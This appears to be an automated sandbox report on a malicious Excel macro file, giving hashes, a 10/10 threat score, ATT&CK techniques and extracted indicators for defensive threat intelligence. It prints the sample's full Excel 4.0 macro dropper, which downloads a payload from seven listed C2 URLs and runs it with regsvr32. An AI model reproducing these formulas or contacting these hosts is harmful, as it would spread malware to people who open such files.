General

  • Target

    o_1003.xlsm

  • Size

    51KB

  • Sample

    230421-g1191see59

  • MD5

    739e1dd4f08be0ae086d6b451ec4dce2

  • SHA1

    f528453f1d497ec15719f4709bb1e4cf3090e1df

  • SHA256

    7b2579d888c3ae51d7938ace0faec10d2edcffbe0cb196d9362e37417ac12039

  • SHA512

    7029728b769ddc1b1a9255020c8a21838bdd6a3c6704491de95ecd6527d61467134132a99b2b5f068722d48eefa6ae4cfaa1753974d3cd521a639ff3cb3388f2

  • SSDEEP

    768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

Targets

    • Target

      o_1003.xlsm

    • Size

      51KB

    • MD5

      739e1dd4f08be0ae086d6b451ec4dce2

    • SHA1

      f528453f1d497ec15719f4709bb1e4cf3090e1df

    • SHA256

      7b2579d888c3ae51d7938ace0faec10d2edcffbe0cb196d9362e37417ac12039

    • SHA512

      7029728b769ddc1b1a9255020c8a21838bdd6a3c6704491de95ecd6527d61467134132a99b2b5f068722d48eefa6ae4cfaa1753974d3cd521a639ff3cb3388f2

    • SSDEEP

      768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Tasks